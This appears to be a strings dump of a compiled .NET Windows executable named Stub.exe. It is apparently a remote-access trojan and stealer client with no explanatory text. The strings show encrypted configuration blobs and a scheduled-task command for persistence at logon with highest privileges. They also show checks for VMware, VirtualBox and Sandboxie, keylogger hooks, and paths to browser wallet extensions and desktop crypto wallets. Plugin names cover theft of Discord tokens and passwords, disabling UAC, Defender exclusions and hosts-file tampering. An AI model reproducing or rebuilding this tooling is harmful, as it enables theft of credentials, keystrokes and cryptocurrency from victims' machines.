!This program cannot be run in DOS mode.
`.rsrc
@.reloc
v4.0.30319
#Strings
Action`10
<Read>b__0
<Read>b__2_1
IEnumerable`1
CallSite`1
List`1
Microsoft.Win32
user32
ToUInt32
ReadInt32
ToInt32
X509Certificate2
ToUInt64
ToInt64
ToUInt16
ToInt16
HMACSHA256
get_UTF8
<Module>
AHxNuXvQTkFDAA
TGsEwCNJrBA
FpRHkCjJbAMDA
oQMEjIcXSRFA
YsqzpojLpKkmHA
ALvMJoepTuMA
pRaXHomMvYOA
vYEdXxNxGRA
VvBrvGtLjHfRA
gbZRmkCMZvMGaWA
nJjrRnQijA
SystemParametersInfoA
WjGjKyrhWWNEpqA
pCbroMtMQGqGECsA
TCfIeMMyleuA
WNClAHYXsbXOvA
FwnnNsHttbjDxA
dyuknSqkzuEB
tVxfOxsgPB
GWIUJEQtSlPB
cdvonwHpeuVnPB
tpZFNcQhLmglB
DRkedSoyNqB
beokJuvhvTGKGUQC
KzqahgexwCeRRC
lEKKeLinbKdC
WyLaQFRVSHeC
VCKytVCFVtVHfC
VSyeZYqdkiC
gRBufBTXSlC
ifzrcDslPhnC
FXJtHtfjqbvyC
MapNameToOID
get_FormatID
eZHIEgcvSNMD
fKDHziSXPD
jlkpCDKZdVD
ctfruRMesTVPYD
SXCMRYLVaD
oKSqxOpNbtD
vZAuqqoOjqJE
aHWdGZCJVJXAKE
ymdlssvsfAPCIdUUE
FDeUvFcdNvmwBF
vjyQbsumEJhxIF
qICAtgVHLSF
CjHeBvSgoZFpF
VHsdQyXsapnAG
ZkhtEDQYfCPZRG
cFVzeiubhUVhNTG
PbBsJTclzeG
qTsOpbdYPjjG
fLZoyVQZsvEyjG
BfzbbcwNhKMUFKoG
MOONXJCeumpG
tVOGXKnCCijzG
efoUQfVrKgVEH
dZWMHwMNUYQH
EkuRoqBbUKyNWH
meuspQmyNdaYH
xUcXkiKniCBIxH
WfCkJBDODzH
tFuUmBeTBVCI
get_ASCII
edMVPvLUII
pcnQzpBMmMOI
KdgfUdpPXI
UJsJOHclJUXI
izsMWTFKsXFmI
AElStkUBobWXlmI
FFalKBiwIhxnwI
feGQaeUuwBJ
iyTFNmPXLzCOIJ
XkRwpLGnzaOKJ
mBdAwCwvnCcJ
piwqxaRicJ
GvEbnncwIFjJ
CmgjJFizIVhtJ
jwVQXAVVkuuJ
VguzQsxpyJ
tobEWXFsQlJOzJ
MNEnnQfFUKAK
FhXdGYFaWjeLOBK
HuzkeVjBHJqBK
xmCHAxwZvvshLK
MSFSlrdpHHqUPK
RaOIAsASzyPK
KMLhwMwZaOOmcfK
ZBtEasSTykK
WUZWpDfNeroBoK
XhtEWKBrKqK
pDmjwBgFCDgzsqK
WaJfjbQupruK
hREUEcNsJVFL
uYynSmmFPtFL
lwYUzgxSBHKmL
bUgdwBFKpL
HYFmgiTiquL
YLVzUaKztVnvL
YgEzFpCVQTVfVM
StroeABjMUNTZM
rUraTTEHVQdM
GFdTYhXXudM
tcrBOHNtEPkM
DzMKTDEtaLuM
lOKwKVGEWrmuM
CsHJqORPgxM
piZZeWlLuQyM
GpcvOqeIXWCN
TuCUvmeGfLfPDN
zFYBGZPrNFN
tRlIPDhHeEeZN
fHWuxIiUZeN
mjEOYvHzUllN
kgzpRpjmmN
IjIoRFGkUpzN
QxKBldwXBqiDO
System.IO
cRffeItcYravnIO
KxBQlBlFQXLO
uuHExHmcRXO
RqOTnqfTECYO
OqrpXLHOIaZuO
YPFMytKhJyPovO
PisxPbwAjGSP
mUVsMDtWjetGUP
FWYiNUGHLPsdP
YhhoknoKcXcHUjP
plopNLNOHkoP
ssgXzbFKvjiFqP
lARmfbKhQhBrP
fUMNciaPvP
XxvqQzwvEQ
PdSErbzoYkHQ
fpYVOgnyAAYQ
fDdzjJSMyWiwRYQ
ltGgsoysNmaQ
PzsOdkxUbfgQ
wMVrIphMBlQ
ARwOoogVqtQ
IiSYMyQeoUbIR
pQXEvbmgJR
xpLNCbWsMMR
WdDtbnwjUVR
jkTUMusIIJuqR
yrcJlDWBRFS
beJmaTVVluoFS
qLLQhQXxbHqMT
ysVQMdObJfoZT
sZGCOzmkCjdmT
NothyeZXLiAPIU
hJMWnThJqJRU
djhbiBLkmhUU
PMIHPdlVYU
FCqhUdKARRbU
oiaukBlUCyzGmU
yodEICKGHXISnU
VIOVTdjDRiwyiErU
wYonIkfmpsjEDV
WHQYfuDEDfEV
AJNyoaNmdGV
cnJygAzOIV
get_IV
set_IV
GenerateIV
BeMtXihIiBmLV
aJoNNBnytvvdV
fbbMKoQcaPEWhV
xgZoVXZWmV
PMaYoFVWtV
uTUPghgaKQentV
EayZHlPPMRNnvV
hqELrwrxgPtJW
afKWOguDcpLW
xgoYqeEFxBNNW
HESMoDNzKAGOW
umkkGtzYHJSOW
IzwcFkbaxkyMSW
ypKeFzvnjTW
RJaOizMaVuKaWW
tfZptrzNLKZBTPTfW
XQWWqrZSoMNsvW
QRdDZheWMyW
wUrCvdZVGIAX
cjkytPZJVHBX
HhwVbVyPEQuARLX
vJlUDntpTFFilX
oieKSolchdrX
vvNbNkxjdrX
ROAqxeqDHBHdwX
kryUrsQVDY
CrocwkqxCROtSY
KPAoUGpneYY
fRfxfzwMjydZY
VLDKkNKElgqilY
MaNuljoQmY
hynSTFvIZLwmY
nDOVXtrzKOaDFZ
gWHerewVnCWzFZ
CeraYHyGZNrIZ
YpoBlQGyWHUPGpSZ
DtEAOOlIoccZ
KvjnoYYlrcZ
pXVOheUarfWsZ
pydhefQyUfFZtZ
iaKoEdsEUAPRNAvZ
value__
hAoJcBhybMvKa
aCkkrFrBYjLLSzOa
GLenUFPvea
qtZpKKZGJhha
tduGBmqjnrojma
ijdqPuWKVISua
MqmMovUoSPUAb
EvJXrqEtVwrAb
dxYkXeSWimJlDb
hYpZRRDRMb
oIaNVzrpehRvtSb
mscorlib
eRcLvvjtXJub
uWikvHmfUCc
nVHdXuEKTXZc
System.Collections.Generic
Microsoft.VisualBasic
uEuVbsOlmc
get_SendSync
MxYBZVxraguuyuc
etBtEWgpalyKDGd
GetWindowThreadProcessId
GetProcessById
HYqBexnWHkTJd
yYVzQXQbYpXMd
DftVHOjzRcUd
vTxrjIEFqrVd
EndRead
BeginRead
Thread
SHA256Managed
get_Connected
get_IsConnected
set_IsConnected
get_Guid
<SendSync>k__BackingField
<IsConnected>k__BackingField
<KeepAlive>k__BackingField
<HeaderSize>k__BackingField
<Ping>k__BackingField
<ActivatePong>k__BackingField
<Interval>k__BackingField
<Buffer>k__BackingField
<Offset>k__BackingField
<SslClient>k__BackingField
<TcpClient>k__BackingField
Append
RegistryValueKind
CompareMethod
method
Clipboard
kInRbWkCQOLtd
wuKYMpBLONIQiyd
ppKJotVrHLnNIe
QiVflcNDrrmoLe
mqoKcYweHMe
MVIZLADjclBWPe
FFNnDpNFUQe
XZxqnLGSSRRe
sPvSGXPdHTSe
GSzUHdXxjzVe
Replace
IsNullOrWhiteSpace
CreateInstance
set_Mode
FileMode
PaddingMode
EnterDebugMode
CryptoStreamMode
CompressionMode
CipherMode
SelectMode
DeleteSubKeyTree
get_Message
EndInvoke
BeginInvoke
GetEnvironmentVariable
IEnumerable
IDisposable
ToDouble
get_Handle
RuntimeFieldHandle
GetModuleHandle
RuntimeTypeHandle
GetTypeFromHandle
WaitHandle
ToSingle
DownloadFile
IsInRole
WindowsBuiltInRole
get_MainWindowTitle
get_MainModule
ProcessModule
set_WindowStyle
ProcessWindowStyle
get_Name
get_FileName
set_FileName
GetTempFileName
GetFileName
get_MachineName
get_OSFullName
get_FullName
get_UserName
get_ProcessName
CheckHostName
DateTime
WriteLine
get_NewLine
Combine
UriHostNameType
get_ValueType
ProtocolType
GetType
SocketType
FileShare
System.Core
MethodBase
Dispose
StrReverse
X509Certificate
Create
MulticastDelegate
GetKeyboardState
SetThreadExecutionState
SetApartmentState
GetKeyState
Delete
CallSite
CompilerGeneratedAttribute
DebuggableAttribute
ComVisibleAttribute
AssemblyTitleAttribute
AssemblyTrademarkAttribute
TargetFrameworkAttribute
AssemblyFileVersionAttribute
AssemblyConfigurationAttribute
AssemblyDescriptionAttribute
DefaultMemberAttribute
CompilationRelaxationsAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
AssemblyCompanyAttribute
RuntimeCompatibilityAttribute
set_UseShellExecute
ReadByte
WriteByte
mSkxofIUQdTROXue
DeleteValue
GetValue
SetValue
get_KeepAlive
set_KeepAlive
Remove
PqEyKUbPNMswe
set_BlockSize
get_TotalSize
get_HeaderSize
set_HeaderSize
set_SendBufferSize
set_ReceiveBufferSize
set_KeySize
mseUaSksCqPCf
GbwzknrStzVBcLf
SizeOf
tAbzEJMiRf
gKRSNqRuhExqKWSf
XfgGeyIWjKff
MVDWiYsJpf
EtyRZMIZdsf
NadhTyNGNpTxf
GZHQmdNYOCg
BbeCGFEetcmAlCg
XYcFLejmEg
EAMWKPBdgLIg
XKiCjvUDMjbnOg
RBEuSYhvxDHZupPg
oBbuZNIpmOvPg
abKGdywfRsPQg
fQcMKnCYOeTtXg
SXaYtygOQJVpZg
trhQdjhzOfg
qiPfJiXFdSXfg
CryptoConfig
giAnhFvBPQVoig
UnfAtGrXOMokg
SNIMCunMnmg
get_Ping
set_Ping
System.Threading
set_Padding
add_SessionEnding
UTF8Encoding
System.Drawing.Imaging
System.Runtime.Versioning
FromBase64String
ToBase64String
DownloadString
ToString
get_AsString
set_AsString
GetString
Substring
System.Drawing
get_ActivatePong
set_ActivatePong
set_ErrorDialog
uMAqNCCjVRBLHrg
wdimneSLiCh
BDPeoOzwCGKh
iNvJxTiVVuMfSh
JmVsLTKxXkvEUh
rtocavUqUzKCbh
tqtxXVnkdbh
FHtWlSVKgpUdh
ComputeHash
VerifyHash
get_ExecutablePath
GetTempPath
GetFolderPath
get_Length
EndsWith
WBHQIhFGNi
WoGbkovcBPi
NiTXQIrJbkVBVi
LJHGqQRmGYi
dzzniDeCOkUudi
upPIDBwyIyzi
VgkkdtbzaygPFdGj
nzUqVaMkMj
yowFlcHoJYPyMj
JdAvTKGUzQuSQj
enqPMzxoTLAHVj
pLPDoxyPpWbYj
zSYMAczuNaj
zEHVmiMycrgj
rBBAcHYvFij
jgnKFrVYQuj
hNHEiJBRvzfWwj
zgplkKlQCfyj
utLwPzGtjAk
gCsKOGBePMk
ZaWzMqBbORVTk
AsyncCallback
RemoteCertificateValidationCallback
TimerCallback
callback
RegistryKeyPermissionCheck
FlushFinalBlock
TCvcJvubCnigk
gUusFzDCodTmk
dVXiWZZhyk
bsGEYNLbofHl
IqwGmANdoHPIl
WgJrVgUTxQJl
IWPynGAuzryEXWl
RtlSetProcessIsCritical
IwBZMRmDyhfal
Marshal
NetworkCredential
System.Security.Principal
WindowsPrincipal
get_Interval
set_Interval
nOpDnbWsikmoKqichl
kernel32.dll
user32.dll
ntdll.dll
XTuPiADkWRnl
qPtXEMSDuPWnl
vJKWvuSrRLyWMwl
EZuqLOuBDm
DKdtWMgzEm
RhCLMVHkeMm
lUNnDXpDQm
mmWOQTUukQm
DBhEmxxiXiMsMUm
UTNgHlILkuPWm
gaLrvFVDJuegYm
WcSckKUArYm
FileStream
NetworkStream
SslStream
CryptoStream
GZipStream
MemoryStream
lParam
wParam
oQqsZbUHOQJbm
get_Item
get_Is64BitOperatingSystem
SymmetricAlgorithm
AsymmetricAlgorithm
HashAlgorithm
JpOdgZzMbOlm
Random
ICryptoTransform
BjWhmWcInuTEHn
sKxuyhSOdaMRn
pkIoQRomuSiBTn
YtlEyvnJzbKWn
GnRoEYQeOCQWn
iXVYjnWBWZqdlWn
vpytZfRgfWHXn
ToBoolean
TimeSpan
XNmvNEuFsGhn
X509Chain
AppDomain
get_CurrentDomain
uCiRSzCPDUQjn
ZEgcZzBamjln
GetFileNameWithoutExtension
get_OSVersion
System.IO.Compression
Application
System.Security.Authentication
System.Reflection
X509CertificateCollection
ManagementObjectCollection
set_Position
CryptographicException
ArgumentNullException
ArgumentException
wuBGtJCRAetn
DfxCwHBTJfzn
XEAAosPWhdCo
qkNdmeDLHPo
NysYqnuMoFQo
xxKOEaUkNZSo
GfrzyvqLfeYo
wdtHgGoZQco
SCvQlgFLaco
ImageCodecInfo
MethodInfo
FileInfo
DriveInfo
FileSystemInfo
MemberInfo
ComputerInfo
CSharpArgumentInfo
ProcessStartInfo
GetLastInputInfo
nTocIhpbio
yzxImJfJqCNCmoo
LFcUegmKskqro
cWaRjnUekCAyo
gObHLPVTYTyzo
LODGbDtptFp
TLUJizMAIUJBYp
abyxRvrhcp
YCEfrVNhZSTSgp
zRMqsgVGkRbip
Microsoft.CSharp
otGYCbeWfFlxasp
ABsYVXRwmKbCHBCq
ViplQaVowOXkPgQCq
SUFYQoatDNAMq
fXrVtHqDYuXq
MBeTDZdwrbq
System.Linq
UGKlPiktDJdxq
sKzOaKVegJr
qzDjoiacOr
nVHNgdMeXlDnOr
bVRzJrTRFZer
InvokeMember
MD5CryptoServiceProvider
RSACryptoServiceProvider
AesCryptoServiceProvider
StringBuilder
SpecialFolder
Microsoft.CSharp.RuntimeBinder
CallSiteBinder
get_Buffer
set_Buffer
get_AsInteger
set_AsInteger
ManagementObjectSearcher
SessionEndingEventHandler
ToUpper
CurrentUser
StreamWriter
TextWriter
BitConverter
ToLower
nCyVblICAOuihr
wvzfXGMxjr
GTfmjNiwPeykr
czbQHOtwimgmr
IEnumerator
ManagementObjectEnumerator
System.Collections.IEnumerable.GetEnumerator
Activator
.cctor
Monitor
CreateDecryptor
CreateEncryptor
RpibQROzIBbOrr
IntPtr
OBMPIbmNAs
SEJtFjTuJbmUs
PxMSGaCDUUFVs
txFNkljhsXkWs
eaCFBalzVRhoWs
foNGeeciHqvqZs
System.Diagnostics
rwbWqHCqFtocs
FromSeconds
GetMethods
Microsoft.VisualBasic.Devices
System.Runtime.InteropServices
System.Runtime.CompilerServices
DebuggingModes
GetDirectories
ExpandEnvironmentVariables
GetTypes
GetProcesses
GetHostAddresses
System.Security.Cryptography.X509Certificates
Rfc2898DeriveBytes
ReadAllBytes
GetBytes
NClmwFJKTpasfs
BjgGxfncQmSgs
BindingFlags
CSharpArgumentInfoFlags
CSharpBinderFlags
Strings
SessionEndingEventArgs
ICredentials
set_Credentials
Equals
SslProtocols
System.Windows.Forms
jCutuFcYRBHTns
Contains
System.Collections
StringSplitOptions
get_Chars
GetImageDecoders
RuntimeHelpers
SslPolicyErrors
FileAccess
GetCurrentProcess
IPAddress
blDcNkQBJTVts
System.Net.Sockets
set_Arguments
SystemEvents
Exists
NjUYbiLclAus
OcPVqbyBvATBxs
LlLdtYtuoBt
zKlmpisEHt
aepRoBSnGdWat
Concat
ImageFormat
get_AsFloat
set_AsFloat
ManagementBaseObject
object
Collect
Connect
System.Net
Target
Socket
System.Collections.IEnumerator.Reset
get_Offset
set_Offset
op_Explicit
BAdbXqqvEIsjGlt
IAsyncResult
result
ToUpperInvariant
WebClient
AsyncClient
get_SslClient
set_SslClient
get_TcpClient
set_TcpClient
AuthenticateAsClient
System.Management
Environment
System.Collections.IEnumerator.get_Current
GetCurrent
CheckRemoteDebuggerPresent
get_RemoteEndPoint
get_Count
get_TickCount
get_ProcessorCount
GetPathRoot
ParameterizedThreadStart
Convert
tTSyKHbRZst
FailFast
ToList
wjFGoGFyIGitt
GetKeyboardLayout
System.Collections.IEnumerator.MoveNext
System.Text
ReadAllText
GetText
SetText
GetWindowText
OlePxvfqqDvxt
feAEFIpklpjOIDu
ohpJXqsfrKfRILu
cRbxjgHIHQu
iVEKMsmgnRu
DSKPJmJqVyRnTau
ZbKrfZfmqau
WETmsRzaTmKou
gfeUhoXpIuu
uVbNublYxPqdSyu
NlOqpAJwUjqyu
KCRpADRdrzBv
mkVTjSkWGv
sDHwfKkeJv
jHLDMcpNuPVNv
YIAMoqwiDSYOv
FLWDiqlHoZIfCLKQv
bzYvpSqndWyTv
aTPRhcmvlexWv
ddeFqaRSvWgXv
xEVteGwxKMGJRav
lXcipXZhfcv
dxLtlMgTEaZev
efFBoOsFsQMw
MLcfStffxmMw
xkAfcaEbuPWqpQeRw
lXSBqbCQKrSbovUw
VuOHRjtkIVw
sjoqDgIHiWw
vJsBmDZmqHidw
VsvwnKYaXNGtVDkw
lkwcurqClw
GBOOZfUbfKmw
GetForegroundWindow
set_CreateNoWindow
QIWOnjSPjtxw
ToUnicodeEx
UnhookWindowsHookEx
SetWindowsHookEx
CallNextHookEx
NfJAuEcTJsTIx
dmiVlrrIKGmIx
FpjmuMvNXEASx
wxYCYOmZXgsbx
ZIOMxWZaGoxqcx
fWBNtHNaJfx
xFmeODNHVzrlfx
sqOViTdODrqjxzx
ngWDxLGsKPUBy
VMGOrGDTERy
RbcHKPrNaPZYRy
xsypMujyiuFVy
InitializeArray
ToArray
get_AsArray
OHWFQrptEncy
get_Key
set_Key
CreateSubKey
OpenSubKey
get_PublicKey
MapVirtualKey
RegistryKey
System.Security.Cryptography
Assembly
AddressFamily
BlockCopy
ToBinary
get_SystemDirectory
Registry
op_Equality
op_Inequality
System.Net.Security
WindowsIdentity
IsNullOrEmpty
NfFcyYuYxmzAz
AnmKBHjxfMCz
CDZRofGFEzeLz
KGXKYfraMohocz
ilMctejLNlNez
PklggDAnOhz
CyytQnqrYIvjnz
UBfTotPujqz
ouTSMbmivz
WrapNonExceptionThrows
1.0.0.0
.NETFramework,Version=v4.6
FrameworkDisplayName
.NET Framework 4.6
_CorExeMain
mscoree.dll
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
</requestedPrivileges>
</security>
</trustInfo>
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
<application>
<!-- Windows Vista -->
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
<!-- Windows 7 -->
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
<!-- Windows 8 -->
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
<!-- Windows 8.1 -->
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
<!-- Windows 10 -->
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
</application>
</compatibility>
<asmv3:application xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" >
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
<dpiAware>true</dpiAware>
</asmv3:windowsSettings>
</asmv3:application>
</assembly>
SHA256
gFUPf4AQbqOuQhk0Mf48aNsCxPEjZqBxUM2rJmnNU1fO6VVFahES+zGhB3uyXxwEUsyLThzsLu+IxqTl4EZG2w==
QEDjViQ77jnRJRqYNuUD67HT7sl8b99WZtguEDSau6CKhrv9FXI3SmoM4JeYJ5enRDrMWOMjKwbTHjZNOtbb0E4lYwBDdC5foPXbD54+7kXRk3cj/6qGyRbgXDyWpFy6
Q1WzxPa8X/rBcUP4l7XezQosdJWac0NO31Aig0crV/hBeDe0Z5Obi2vbM6CvEaa3XLXQ9wMO2Fwmg9LDXrK0D4C72fhDvBYFYHLaL8sJz1E=
AB08I7nDiXpN28KWVw54LrJUL2dKyH+zeGSiLKlp2Vo6eckT2tv5F+39tDATzENN6OkrCSKQdVb3rhV/RhkBYg==
%AppData%
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
Packet
Message
LastTime
/c schtasks /create /f /sc onlogon /rl highest /tn "
" /tr '"
"' & exit
\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS
@echo off
timeout 3 > NUL
START "" "
" /f /q
Select * from Win32_ComputerSystem
Manufacturer
microsoft corporation
VIRTUAL
vmware
VirtualBox
SbieDll.dll
Err HWID
ClientInfo
Microsoft
Performance
Pastebin
Antivirus
Meta_Firefox
MetaFirefox
\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Meta_Chrome
MetaChrome
\BraveSoftware\Brave-Browser\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Meta_Brave
MetaBrave
\Microsoft\Edge\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Meta_Edge
MetaEdge
\Opera Software\Opera Stable\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
\Opera Stable\Local Extension Settings\djclckkglechooblngghdinmeemkbgci
Meta_Opera
MetaOpera
\Opera Software\Opera GX Stable\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
\Opera Software\Opera GX Stable\Local Extension Settings\chrome-extension://djclckkglechooblngghdinmeemkbgci
Meta_OperaGX
MetaOperaGX
\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Phantom_Chrome
PhantomChrome
\BraveSoftware\Brave-Browser\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Phantom_Brave
PhantomBrave
\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Binance_Chrome
BinanceChrome
\Microsoft\Edge\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Binance_Edge
BinanceEdge
\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
TronLinkChrome
Exodus_Chrome
\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
BitKeep_Chrome
BitKeepChrome
\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Coinbase_Chrome
CoinbaseChrome
\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Ronin_Chrome
RoninChrome
\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Trust_Chrome
TrustChrome
\Google\Chrome\User Data\Default\Local Extension Settings\jkjgekcefbkpogohigkgooodolhdgcda
BitPay_Chrome
BitPayChrome
\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
F2a_Chrome
F2aChrome
\BraveSoftware\Brave-Browser\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
F2a_Brave
F2aBrave
\Microsoft\Edge\User Data\Default\Local Extension Settings\ocglkepbibnalbgmbachknglpdipeoio
F2a_Edge
F2aEdge
\Ergo Wallet
Ergo_Wallet
ErgoWallet
\Ledger Live
Ledger_Live
LedgerLive
\atomic
Atomic
\Exodus
Exodus
\Electrum
Electrum
\Coinomi
Coinomi
\Binance
Binance
\Bitcoin
Bitcoin_Core
Bitcoin Core
BoolWallets
\Mozilla\Firefox\Profiles
-release
\extensions\webextension@metamask.io.xpi
Return
Escape
LControlKey
RControlKey
RShiftKey
LShiftKey
Capital
[SPACE]
[ENTER]
[CTRL]
[Shift]
[Back]
[CAPSLOCK: OFF]
[CAPSLOCK: ON]
\Log.tmp
\root\SecurityCenter2
Select * from AntivirusProduct
displayName
Software\
plugin
savePlugin
gettxt
passload
DicordTokens
WebBrowserPass
anydesk
getscreen
WDExclusion
weburl
killps
ResetScale
KillProxy
backproxy
uacoff
Wallets
Chrome
ResetHosts
sendPlugin
Hashes
AllInOne
Password
Tokens
AVRemoval.Class1
Reset Scale succeeded!
BackProxy.Class1
wallets
\drivers\etc
\hosts.backup
\hosts
127.0.0.1
Blocked!
cmd.exe
/c taskkill.exe /im chrome.exe /f
Reset Hosts succeeded!
Plugin.Plugin
Msgpack
Received
masterKey can not be null or empty.
input can not be null.
Invalid message authentication code (MAC).
{0:D3}
{0:X2}
(never used) type $c1
(ext8,ext16,ex32) type $c7,$c8,$c9
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
CompanyName
FileDescription
FileVersion
1.0.0.0
InternalName
Stub.exe
LegalCopyright
LegalTrademarks
OriginalFilename
Stub.exe
ProductName
ProductVersion
1.0.0.0
Assembly Version
1.0.0.0